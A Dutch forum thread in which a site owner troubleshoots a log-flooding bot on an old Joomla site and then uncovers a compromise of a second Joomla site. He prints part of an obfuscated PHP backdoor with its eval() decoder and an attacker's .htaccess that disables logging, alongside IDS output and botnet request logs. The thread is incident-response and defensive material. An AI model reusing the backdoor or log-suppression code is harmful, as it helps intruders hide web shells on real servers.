Joomla DDOS + 2e Joomla ook prijs, what a day ....

ubremoved_2964 · 07 sep 2016, 13:21

Ik heb een aantal websites waarvan één website nog slechts een zeer klein aandeel van onze omzet vertegenwoordigt. Deze is slachtoffer geworden van een soort DOS attack gezien zijn /var filesystem vol is gelopen door de attack vanaf één IP. Die website verandert nog zelden en ik heb een full vm backup van 3 maand terug. Ook de mysql database is corrupt geraakt, maar na moven van de logs naar een andere server en een

mysqlcheck -A --auto-repair

is de site weer in de lucht.

Dit is een VM met een oude CentOS en oude Joomla die al zeer lang in de lucht is, maar blijkbaar heeft een Duits IP het zover gekregen om het leeuwedeel van de 2GB /var vol te krijgen:

Code: Selecteer alles

[root@metaverse kb-attack]# ls -la
total 1071280
drwxr-xr-x.  2 root root       4096 Sep  7 12:58 .
dr-xr-x---. 10 root root       4096 Sep  7 12:56 ..
-rw-r--r--.  1 root root     499712 Sep  7 12:57 access_log
-rw-r--r--.  1 root root    1646592 Sep  7 12:57 access_log.1
-rw-r--r--.  1 root root    2510848 Sep  7 12:57 access_log.2
-rw-r--r--.  1 root root    2174976 Sep  7 12:57 access_log.3
-rw-r--r--.  1 root root    3249493 Sep  7 12:57 access_log.4
-rw-r--r--.  1 root root    1347584 Sep  7 12:57 error_log
-rw-r--r--.  1 root root     210957 Sep  7 12:57 error_log.1
-rw-r--r--.  1 root root 1082744981 Sep  7 12:58 error_log.2
-rw-r--r--.  1 root root      26978 Sep  7 12:58 error_log.3
-rw-r--r--.  1 root root     420349 Sep  7 12:58 error_log.4
-rw-r--r--.  1 root root    2021348 Sep  7 12:58 error_log.gz
-rw-r--r--.  1 root root       3662 Sep  7 12:58 ssl_access_log
-rw-r--r--.  1 root root       6675 Sep  7 12:58 ssl_access_log.1
-rw-r--r--.  1 root root       6258 Sep  7 12:58 ssl_access_log.2
-rw-r--r--.  1 root root       6435 Sep  7 12:58 ssl_access_log.3
-rw-r--r--.  1 root root       6171 Sep  7 12:58 ssl_access_log.4
-rw-r--r--.  1 root root       4096 Sep  7 12:58 ssl_error_log
-rw-r--r--.  1 root root       8192 Sep  7 12:58 ssl_error_log.1
-rw-r--r--.  1 root root       8177 Sep  7 12:58 ssl_error_log.2
-rw-r--r--.  1 root root       7482 Sep  7 12:58 ssl_error_log.3
-rw-r--r--.  1 root root       8221 Sep  7 12:58 ssl_error_log.4
-rw-r--r--.  1 root root       4042 Sep  7 12:58 ssl_request_log
-rw-r--r--.  1 root root       7425 Sep  7 12:58 ssl_request_log.1
-rw-r--r--.  1 root root       6949 Sep  7 12:58 ssl_request_log.2
-rw-r--r--.  1 root root       6710 Sep  7 12:58 ssl_request_log.3
-rw-r--r--.  1 root root       6904 Sep  7 12:58 ssl_request_log.4
[root@metaverse kb-attack][root@metaverse kb-attack]# grep 62.138.0.25 error_log.2 | wc -l
6239358
[root@metaverse kb-attack]# cat error_log.2 | wc -l
6240651

Let vooral op error_log.2 die al 1 GB groot is, en waarbij het IP 62.138.0.25 het leeuwedeel van de loglines in beslag neemt:

[client 62.138.0.25] PHP Warning: feof(): supplied argument is not a valid stream resource in /var/www/mijnsite.be/content-1.5.26/libraries/tcpdf/tcpdf.php on line 3763
[client 62.138.0.25] PHP Warning: fread(): supplied argument is not a valid stream resource in /var/www/mijnsite.be/content-1.5.26/libraries/tcpdf/tcpdf.php on line 3764

Het gaat hier om de PDF library die bij joomla zit.

Verdere hints van deze attack:

Code: Selecteer alles

[root@metaverse kb-attack]# grep 62.138.0.25 error_log.2 | grep -v tcpdf.php
[client 62.138.0.25] PHP Warning:  Invalid argument supplied for foreach() in /var/www/klinktbeter.be/content-1.5.26/components/com_weblinks/views/category/tmpl/default.php on line 28
[Fri Aug 26 06:21:54 2016] [error] [client 62.138.0.25] File does not exist: /var/www/klinktbeter.be/content/undefined
[client 62.138.0.25] PHP Warning:[Sun Aug 28 04:02:19 2016] [notice] SIGHUP received.  Attempting to restart

Als ik kijk naar de requesten in de access log, dan zou dit zogezegd een spider zijn:

Code: Selecteer alles

access_log.4:62.138.0.25 - - [14/Aug/2016:03:29:04 +0200] "GET /index.php/component/mailto/?tmpl=component&link=eb6277ea184879adde3a518ca48ed912802276a4 HTTP/1.1" 200 2912 "-" "Mozilla/5.0 (compatible; seoscanners.net/1; [email protected])"

Het feit dat deze spider 6 miljoen log entries genereert, zint mij niet.

07 sep 2016, 13:55

Dat jij je server zo instelt zonder log rotation of beveiliging dat je logs niet vollopen kan je moeilijk verhalen op een derde partij hé.

ubremoved_2964 · 07 sep 2016, 13:58

Wat een dom antwoord.

Er staat wel degelijk log rotation op, maar als de logs sneller worden aangemaakt dan de log rotation ze opkuist, en 99.999% van de error logs door één IP worden ingenomen, dan is er sprake van kwaad opzet. Mijn logs zijn op de 9 jaar dat de site bestaat nog nooit vol gelopen, dus de logdir is juist gedimensioneerd.

Elke server log kan door een DOS worden volgeschreven, als je maar genoeg requests stuurt.

freggy · 07 sep 2016, 13:59

Daarom moet je /var/log altijd op een apart file system zetten.

07 sep 2016, 14:08

Jeetje mina ...

De schuld ligt gewoon bij jezelf. Als jij iets configureert zodat een niet-intelligent systeem (bot, crawler) het met (veel) request plat kan doen gaan dan ligt dat toch niet aan die bot zeker.

En om dan al direct "juridische vervolging" in de topic titel te zetten, hoh hoh. Veel success daarmee hoor!

ubremoved_2964 · 07 sep 2016, 14:10

Een bot hoort niet 6 miljoen queries te doen op een eenvoudige joomla site met een paar tiental pagina's.
Gelukkig is de site geen core business. De schuld ligt echter niet bij ons.

Verder is al gebleken dat het desbetreffende IP & die bot, attack & spam IP's zijn.

iceke · 07 sep 2016, 14:16

tel tot 10 & ..... cut your losses

ubremoved_2964 · 07 sep 2016, 14:29

8G aan diskspace toegevoegd voor een simpele Joomla site ...

Code: Selecteer alles

Filesystem            Size  Used Avail Use% Mounted on
/dev/mapper/VolGroup00-root
                      2.0G  1.7G  196M  90% /
/dev/hda1             2.0G  115M  1.8G   7% /boot
none                 1014M     0 1014M   0% /dev/shm
/dev/mapper/VolGroup00-var
                      2.0G  873M  1.1G  46% /var
/dev/mapper/VolGroup00-logs
                      7.9G   54M  7.5G   1% /var/log/httpd

Zoals je kan zien loopt de normale /var nooit vol.

Splitter · 07 sep 2016, 14:36

ub4b schreef: Een bot hoort niet 6 miljoen queries te doen op een eenvoudige joomla site met een paar tiental pagina's.
Gelukkig is de site geen core business. De schuld ligt echter niet bij ons.

nee, dat hoort een bot niet te doen... maar dat hoor jij ook niet toe te laten, bot of niet.
en gezien het een vm is met "een oude joomla" durf ik toch te zeggen dat (een groot deel van) de fout bij jou ligt

- geen fail2ban ? geen ratelimit, geen ..... ?
- OUDE joomla... werk je met een (populair) cms : CONSTANT up to date houden of pech hebben
- filesystem indelen zoals hierboven al gezegd
- betere regels voor je logrotate (max X filesize, dan rotate)
- ....

also: tcpdf is géén onderdeel van joomla, het is een extensie van joomla (en perfect verkrijgbaar zonder joomla)
nog iets dat je dus moet in de gaten houden en updaten.

en last but not least: hoe slecht is de site/plugin/.... gemaakt als je door een *voorkombare* php error het log vol kan krijgen, of een bot aan een 'download' link kan?

sorry ub4b... maar hier moet ik toch echt ook de kant van 'eigen fout' kiezen. en juridische stappen? good luck...

CCatalyst · 07 sep 2016, 14:56

Juridische vervolging voor zoiets is tijd/geld echt niet waard. Best dat je kan doen is gewoon een les eruit leren. Al veel goed advies in deze topic.

Mijn advies dat ik hier nog niet gezien heb: niet lokaal loggen

Tenzij je nog de tijd hebt om naar elke machine die je draait elke dag te gaan zien (ik niet).

Bij mij wordt alles via syslog remote gelogged (ja, ook httpd). Daar is er ook meer dan genoeg ruimte en zie ik meteen als er iets raars gebeurt want ik ben het gewend van daar elke dag op te kijken en ik heb dus een "baseline" van wat normaal is (en da's net het punt van goed log management).

Size van de access_log en error_log op al mijn httpd's is welgeteld 0...

ubremoved_2964 · 07 sep 2016, 15:05

Ik heb die PDF library naar 000 gechmod .... die functionaliteit wordt toch niet gebruikt op de site.
Als >99.999% van één log daarop borked, dan moet die code weg van de site.
Verder heb ik ook de icoontjes weggehaald die maken dat artikelen linken naar die PDF generator.

Voor die oude joomla 1.X zijn er amper nieuwe exploits, omdat attackers zich richten op de nieuwste versies.

De oude strategie was: we weten dat joomla niet 100% secure is, dus maken we van de VM een nightly snapshot, wordt de site ooit gehacked of geraakt de database corrupt, dan zoeken we uit wat er fout liep, en zetten we indien nodig de versie van de dag eerder terug.

tb0ne · 07 sep 2016, 15:45

Kan je geen fail2ban op die logs activeren?

edit:
Uit nieuwsgierigheid, hoeveel mensen werken er in je zaak? Je spreekt steevast over we maar ik dacht je eenmanszaak had?

ubremoved_2964 · 07 sep 2016, 16:01

tb0ne schreef:Kan je geen fail2ban op die logs activeren?

edit:
Uit nieuwsgierigheid, hoeveel mensen werken er in je zaak? Je spreekt steevast over we maar ik dacht je eenmanszaak had?

Op dit moment doe ik alles behalve de verkoop zelf. Dus website, product fotografie, marketing, product dev, producten bouwen, software, website, IT ..... . De verkoop is uitbesteed via ongeveer 10 verkoopspunten in Benelux. Maar als we zo blijven groeien, gaan we moeten uitbesteden of personeel inhuren. Ik weet niet of ik in België blijf gezien het mij fiscaal hier mijn keel uithangt. Ik hoor bvb in portugal personeelskost 1/3 van hier. Een concurrent zit daar. Hier laatste jaren telkens x2 in aantallen op jaarbasis.

In een vorig leven was ik linux en security specialist, maar was consultancy beu en had al mijn eigen product dat toen een 2e activiteit was, plus nog hifi verkoop. Hifi verkoop aan het afbouwen, dus joomla website is niet zo kritisch, is klein deel van de omzet.

Ik spreek altijd in de wij vorm

yaris · 07 sep 2016, 16:38

CCatalyst schreef:Juridische vervolging voor zoiets is tijd/geld echt niet waard. Best dat je kan doen is gewoon een les eruit leren. Al veel goed advies in deze topic.

Mijn advies dat ik hier nog niet gezien heb: niet lokaal loggen

Tenzij je nog de tijd hebt om naar elke machine die je draait elke dag te gaan zien (ik niet).

Bij mij wordt alles via syslog remote gelogged (ja, ook httpd). Daar is er ook meer dan genoeg ruimte en zie ik meteen als er iets raars gebeurt want ik ben het gewend van daar elke dag op te kijken en ik heb dus een "baseline" van wat normaal is (en da's net het punt van goed log management).

Size van de access_log en error_log op al mijn httpd's is welgeteld 0...

Mag ik even snel vragen hoe je dat aanpakt om al je logs gewoon door te sturen ?

ubremoved_2964 · 07 sep 2016, 17:28

yaris schreef:
CCatalyst schreef:Juridische vervolging voor zoiets is tijd/geld echt niet waard. Best dat je kan doen is gewoon een les eruit leren. Al veel goed advies in deze topic.

Mijn advies dat ik hier nog niet gezien heb: niet lokaal loggen

Tenzij je nog de tijd hebt om naar elke machine die je draait elke dag te gaan zien (ik niet).

Bij mij wordt alles via syslog remote gelogged (ja, ook httpd). Daar is er ook meer dan genoeg ruimte en zie ik meteen als er iets raars gebeurt want ik ben het gewend van daar elke dag op te kijken en ik heb dus een "baseline" van wat normaal is (en da's net het punt van goed log management).

Size van de access_log en error_log op al mijn httpd's is welgeteld 0...
Mag ik even snel vragen hoe je dat aanpakt om al je logs gewoon door te sturen ?

ik ben nog syslog expert geweest (syslog-ng met o.a. crypted central logs + SSL tussen de clients en syslog server, PCI-DSS compliant rollout)

gewoon apache laten loggen naar syslog of syslog-ng (aanrader), en in de syslog config alles doorsturen naar een centrale host

http://archive.oreilly.com/pub/a/sysadm ... yslog.html

07 sep 2016, 18:53

Excuses, maar euh, jij bent nog syslog expert geweest? En dan deze thread opstarten en "de schuld" bij iemand anders leggen?

MClaeys · 07 sep 2016, 20:16

Hij spreekt toch ook in de verleden tijd vorm Selder

07 sep 2016, 20:27

Hier op UB hebben/hadden we daar ook veel last van hoor; vooral het hoge aantal openstaande sessies werd dan MySQL te veel. Een ban op de IP-range en/of in iptables lostte het min of meer op, maar ik heb ook contact opgenomen met die mensen toen, want mogelijk waren ze zich niet bewust van dit gedrag. Hun aanraden was toen om een disallow-rule voor hun bot aan te maken in de robots.txt. Hebben we gedaan, didn't work, banned them again. ¯\_(ツ)_/¯

ubremoved_2964 · 07 sep 2016, 21:00

Vroeger deed ik 24/7 IT en logs waren mijn background wallpaper, nu is IT een deeltje van mijn job. Ik heb gewoon geen tijd om hier fulltime mee bezig te zijn.

Het wordt nog straffer, een andere joomla is ook geblacklist, deze stuurt nu spam, en ik zie via tcpdump mails naar buiten gaan, maar ik zie in de postfix logs dus niks. Het was een raadsel want via joomla mailen ging zelfs niet. Maar ik zie dus wel telkens requesten zoals deze:

97.74.215.190 - - [08/Sep/2016:03:36:41 +0200] "POST /content/modules/mod_syndicate/tmpl/include93.php HTTP/1.0" 200 178 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"

En die file is er duidelijk opgezet:

Code: Selecteer alles

<?php
 $hlnpe = 1719; function sncmumk($epppbe, $znzglla){$ojrfxsmnm = ''; for($i=0; $i < strlen($epppbe); $i++){$ojrfxsmnm .= isset($znzglla[$epppbe[$i]]) ? $znzglla[$epppbe[$i]] : $epppbe[$i];}
$elurlmjcs="base" . "64_decode";return $elurlmjcs($ojrfxsmnm);}
$nzduco = 'brQh1pPmTOb4NGpYlxPYOGgZTYlyKospEoz5tzvebrQh1pPmTOb4NGgZT3PQljN'.
'ZljWjcAuzeEy6AD85LxQwlGpveAJUdOfwTOfQdipv1aPhOiX5LaBjcAuzeEy6AD8mTOXwJrQUTpPy1a35JA'.
'9zeEy6A9ve1ad41O6mTOb4N0PEXpNaXpK5ebvenzveARXwBvpRpDpRaYJbR08wBvpWX7JJKqv9K7k7tYu6'.
'A9DDO360BQT0BQyjBDp6E3X0Ov0oX0KjORuPKAKgWIlhWA2zcIo7tzveAaQxeA0QLO8vnR9DO'.
'360BQT0BQyjR0XBB0PdOvTCBQJ8BDX0X0PrE3KjORD5qb4NnzveAbDDO360BQT0B'.
'QyjR0XBB0PdOvTCBQJ8BDX0X0PrE3KjORuPKAKgWIlhWA2zcIo7tzveAOv6Aj'.
'v6AxQxerQmlGpveAXwXDQWXpW5ebvenzveAaTZlxpfdG94N0PrRBg0BY8flYuD1GpsKqv+KAXx1agQebveAO'.
'y6A9DN1ad4KO6vlj8ZlY9DTxQyTpyjLx0UTRJJcAu7cx5zTYK5ebveAbQSqb4N'.
'AbDDTxQyTasfLaB9CR8fLFXQlQPUda6YLiW4NrT5LrpLNGsfLaBjORDSqb4NAbDDTxQyTasfLaB9CR8hJa3wLa0'.
'IlxPmeAXx1agQLx0UTRDSqb4NAbDDTxQyTasfLaB9CR82LjpUOG3fdiNZlY9DTxQyTasfLaB5tzveAbDNN0PrRBg0B3y'.
'D1GpsOpy7Lx0UTRNJKqv9NrT5Lrphda3QtzveAbQPqb4NwbvewbveAbveTjphdiX5LG29dipmJrPUOi6vlxQzO'.
'iXfTiW4NFXQnFb5qb5Sqb49KAu9NFXQnFb9CR8mJFN5l0PvdaJmeAXvTOfvcAujCro+NYDSqb49KAu9'.
'NFXQnFb9CR8mJFNwlxpzLr0ITR97Cro91FNQTI3lK7KyKANLKAKyKAXvTO'.
'fveEy6A7u9KAuDJrp2JAuPKF6vlQPYTO8yda6QeAKkcGo+K7z9K7KyKAXvTOfveEy6A7u9KAu'.
'DJrp2JAuPKF6vlQPYTO8yda6QeANlKI27cAu7K0v9K7z9NFXQnFb5tzveKAu9KFNQJFpY'.
'L7uDJrp2Jqy6Ajv6AxT3Lx6v1aPhKrQmOGQzeAXmJFK5KFy6A7u9lxpvJONhKF8YTaJwL'.
'a0vdG94K7Pne0ygcEQJw0ygcEQJamuUtp3kWpyzcEQJamuUtp3kWQyzcEXJamuUtp3kWIpLWAv3O'.
'RD4OA24amuUtp3kamoUtp3LWAvsOOzgamuUtp3LWAvsOOzYamuU603LWAvsOOzY6pyzcEpJeRQSWivDc'.
'YKyNF6vl7DSqb5Pqb5xJasIJrQZL78xlxPUOGfZlib4Nr6ZLjXQLjb5qb5Sqb49KAu'.
'9NrfZlib9CR8zlxpjOiNQlrgfdGB4NYPneFJiJigxJFu5OA2Z1RlyNYlybAXwBvpRpDpRaYJK'.
'p0XbOvfCB3bjORDSqb49KAu91ad9erQmOGQzeAX4Li6veRD6A7u9KA8Sqb'.
'49KAu9KAu9KFNQJFpYL7uDdGPhJrphJqy6A7u9KA8Pqb49KAu9qb49KAu9NFXZ1GphlYuPKrp2lrgZTrB4KDu7cAuDdGPhJrphJA'.
'DSqb49KAu9Nr6ZLjXQLjb9CRuDJrPVTasmam8JKA29KDu7KA29NrfZlib9c7u7C7KSqb49KAu9lxpvJO'.

Ik ga eens op een vm die php file decoden, is een simpele cypher en op het eind toont ie een eval() met de echte code, dan gaan we zien wat de code doet ....

Code: Selecteer alles

$bufug = Array('1'=>'a', '0'=>'F', '3'=>'1', '2'=>'4', '5'=>'p', '4'=>'o', '7'=>'i', '6'=>'N', '9'=>'g', '8'=>'B', 'A'=>'C', 'C'=>'P', 'B'=>'U', 'E'=>'T', 'D'=>'k', 'G'=>'2', 'F'=>'H', 'I'=>'j', 'H'=>'q', 'K'=>'I', 'J'=>'d', 'M'=>'6', 'L'=>'b', 'O'=>'X', 'N'=>'J', 'Q'=>'l', 'P'=>'9', 'S'=>'7', 'R'=>'S', 'U'=>'t', 'T'=>'Z', 'W'=>'M', 'V'=>'r', 'Y'=>'y', 'X'=>'R', 'Z'=>'v', 'a'=>'W', 'c'=>'L', 'b'=>'Q', 'e'=>'K', 'd'=>'Y', 'g'=>'x', 'f'=>'h', 'i'=>'3', 'h'=>'u', 'k'=>'8', 'j'=>'n', 'm'=>'z', 'l'=>'c', 'o'=>'E', 'n'=>'e', 'q'=>'D', 'p'=>'V', 's'=>'5', 'r'=>'G', 'u'=>'A', 't'=>'O', 'w'=>'f', 'v'=>'0', 'y'=>'s', 'x'=>'m', 'z'=>'w');
eval/*x*/(sncmumk($nzduco, $bufug));?>

Bizar is dat die file er al zogezegd sinds 2010 op staat, terwijl de server nog maar in de lucht is van 2013.

Gelukkig heb ik samhain lopen, die de intrusie gezien heeft:

Code: Selecteer alles

# locate include93.php
/var/www/html/joomla/modules/mod_syndicate/tmpl/include93.php
# zgrep include93.php /var/log/samhain_log*
/var/log/samhain_log-20160828.gz:CRIT   :  [2016-08-25T00:35:36+0200] msg=<POLICY ADDED>, path=</var/www/html/joomla/modules/mod_syndicate/tmpl/include93.php>, mode_new=<-rw-r--r-->, attr_new=<------------>, imode_new=<33188>, iattr_new=<0>, hardlinks_new=<1>, idevice_new=<0>, inode_new=<143148>, owner_new=<apache>, iowner_new=<48>, group_new=<apache>, igroup_new=<48>, size_old=<0>, size_new=<154680>, ctime_new=<[2016-08-24T20:36:46]>, atime_new=<[2016-08-24T20:36:52]>, mtime_new=<[2010-04-27T08:32:09]>, chksum_new=<B7BDBB01762E799822DC95A73B7053842D47FCECA92FD7AB>

Ik wist dat we vroeg of laat prijs gingen hebben ..... we zijn dus gehacked geweest:

Code: Selecteer alles

# find . -mtime -1000
.
./modules
./modules/.htaccess
./modules/mod_banners
./modules/mod_banners/ltgaq.php
./modules/mod_stats
./modules/mod_stats/state25.php
./modules/mod_stats/.htaccess

en dan vooral:

Code: Selecteer alles

# cat ./modules/mod_stats/.htaccess


Order Allow,Deny
Allow from All

Satisfy Any

Options -Indexes

<IfModule log_config_module.c>
        ErrorLog /dev/null
        CustomLog /dev/null common
        GlobalLog /dev/null
</IfModule>

<IfModule mod_rewrite.c>
        RewriteEngine Off
</IfModule>

## ww

-> lekker niks loggen dus

Zo, samhain heeft een berg files gevonden, die ik heb gerenamed naar .infected. Omdat ik daily snapshots van de site heb, en nog ergens een cleane full backup, heb ik file per file gerestored, en de permissies op root:root gezet, en geen enkele dir schrijfbaar.

Code: Selecteer alles

# tar vfzt infected.tar.gz
---------- root/root    154680 2010-04-27 10:32 var/www/html/joomla/modules/mod_syndicate/tmpl/include93.php.infected
---------- root/root     11358 2016-03-07 14:09 var/www/html/joomla/modules/mod_stats/stat566.php.infected
---------- root/root       270 2016-03-02 14:51 var/www/html/joomla/modules/mod_stats/.htaccess-infected
---------- root/root         0 2016-09-02 21:45 var/www/html/joomla/modules/mod_stats/jstats.php.infected
---------- root/root    118498 2016-03-02 17:44 var/www/html/joomla/modules/mod_custom/kmrcab.php.infected
---------- root/root     37932 2008-11-07 22:04 var/www/html/joomla/tmp/install_4914ad615fb09/classes/mime.magic.php.infected
---------- root/root     15433 2010-04-27 10:32 var/www/html/joomla/footer.php.infected
---------- root/root     11447 2010-04-27 10:32 var/www/html/joomla/administrator/components/com_categories/title.php.infected
---------- root/root       136 2010-04-27 10:32 var/www/html/joomla/administrator/includes/dir.php-infected
---------- root/root     10776 2010-04-27 10:32 var/www/html/joomla/administrator/language/db.php.infected
---------- root/root     11837 2010-04-27 10:32 var/www/html/joomla/xmlrpc/lib.php.infected
---------- root/root     14586 2008-09-09 23:50 var/www/html/joomla/libraries/domit/php_http_status_codes.php.infected
---------- root/root     12600 2007-06-08 22:41 var/www/html/joomla/libraries/joomla/event/handler.php.infected
---------- root/root     13638 2007-06-13 23:06 var/www/html/joomla/libraries/phpxmlrpc/compat/array_key_exists.php.infected
---------- root/root     12041 2010-04-27 10:32 var/www/html/joomla/components/com_wrapper/wrapper.php.infected
---------- root/root     10986 2010-04-27 10:32 var/www/html/joomla/plugins/system/mtupgrade/title.php.infected
---------- root/root     11315 2008-09-09 23:49 var/www/html/joomla/includes/gacl_api.class.php.infected
---------- root/root      8596 2010-04-27 10:32 var/www/html/joomla/templates/ja_purity/index.php.infected
---------- root/root     10129 2010-04-27 10:32 var/www/html/joomla/templates/beez/images/sql.php.infected
---------- root/root      7459 2010-04-27 10:32 var/www/html/joomla/templates/beez/index.php.infected
---------- root/root      7101 2016-09-08 06:33 var/www/html/joomla/templates/rhuk_milkyway/index.php.infected

Joomla heeft een bugfix gemaakt, gezien de hack deze files exploit:

administrator/components/com_media/helpers/media.php
libraries/joomla/filesystem/file.php

Ik heb een block op POST requesten gezet, ik zie onze botnetters nu hopeloos proberen:

Code: Selecteer alles

50.62.208.87 - - [08/Sep/2016:03:54:09 +0200] "POST /content/modules/mod_syndicate/tmpl/include93.php HTTP/1.0" 403 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"
50.62.208.102 - - [08/Sep/2016:03:54:35 +0200] "POST /content/modules/mod_syndicate/tmpl/include93.php HTTP/1.0" 403 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
72.167.183.31 - - [08/Sep/2016:03:55:50 +0200] "POST /content/modules/mod_syndicate/tmpl/include93.php HTTP/1.0" 403 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"
89.212.78.219 - - [08/Sep/2016:03:57:29 +0200] "POST /content/modules/mod_syndicate/tmpl/include93.php HTTP/1.0" 403 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
2.229.50.183 - - [08/Sep/2016:03:57:33 +0200] "POST /content/modules/mod_syndicate/tmpl/include93.php HTTP/1.0" 403 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
79.98.24.16 - - [08/Sep/2016:04:00:49 +0200] "POST /content/modules/mod_syndicate/tmpl/include93.php HTTP/1.0" 403 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
119.81.177.188 - - [08/Sep/2016:04:02:37 +0200] "POST /content/modules/mod_syndicate/tmpl/include93.php HTTP/1.0" 403 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"
37.209.208.17 - - [08/Sep/2016:04:03:49 +0200] "POST /content/content/libraries/joomla/event/handler.php HTTP/1.0" 403 327 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0"
187.73.33.10 - - [08/Sep/2016:04:03:50 +0200] "POST /content/modules/mod_syndicate/tmpl/include93.php HTTP/1.0" 403 325 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US) U2/1.0.0 UCBrowser/9.3.1.344"
173.201.196.203 - - [08/Sep/2016:04:04:10 +0200] "POST /content/modules/mod_syndicate/tmpl/include93.php HTTP/1.0" 403 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0"
182.50.130.13 - - [08/Sep/2016:04:05:21 +0200] "POST /content/modules/mod_syndicate/tmpl/include93.php HTTP/1.0" 403 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0"

en ik heb van alle bestanden nu naast samhain live host IDS nu ook md5sum van alle bestanden in de document root + enkele backups.

Benieuwd of ze nu nog binnen geraken. Voor de rest heb ik geen exploits gevonden, volgens mij zijn ze niet verder geraakt dan in de apache omgeving wat php scripts overschrijven, om te kunnen spammen en fake adobe updates te kunnen sturen naar de browser..

Mijn grootste probleem is dat ik bijna 24/7 aan mijn zaak werk maar weinig tijd heb om continu naar logs te kijken. Vroeger was mijn fulltime job om logs te bekijken, nog verantwoordelijk geweest voor IDS + IPS van een zeer groot telecom bedrijf.

Concreet: deze bugfix:
http://joomlacode.org/gf/project/joomla ... m_id=31626

en gekende hacker tag:
http://forum.joomla.org/viewtopic.php?t=933020

Het aantal unieke te blocken IP's die include93.php probeert te gebruiken om spam te sturen, is bijna 3.000, een echt botnet dus:

# iptables -L INPUT -n | grep DROP | wc -l
2946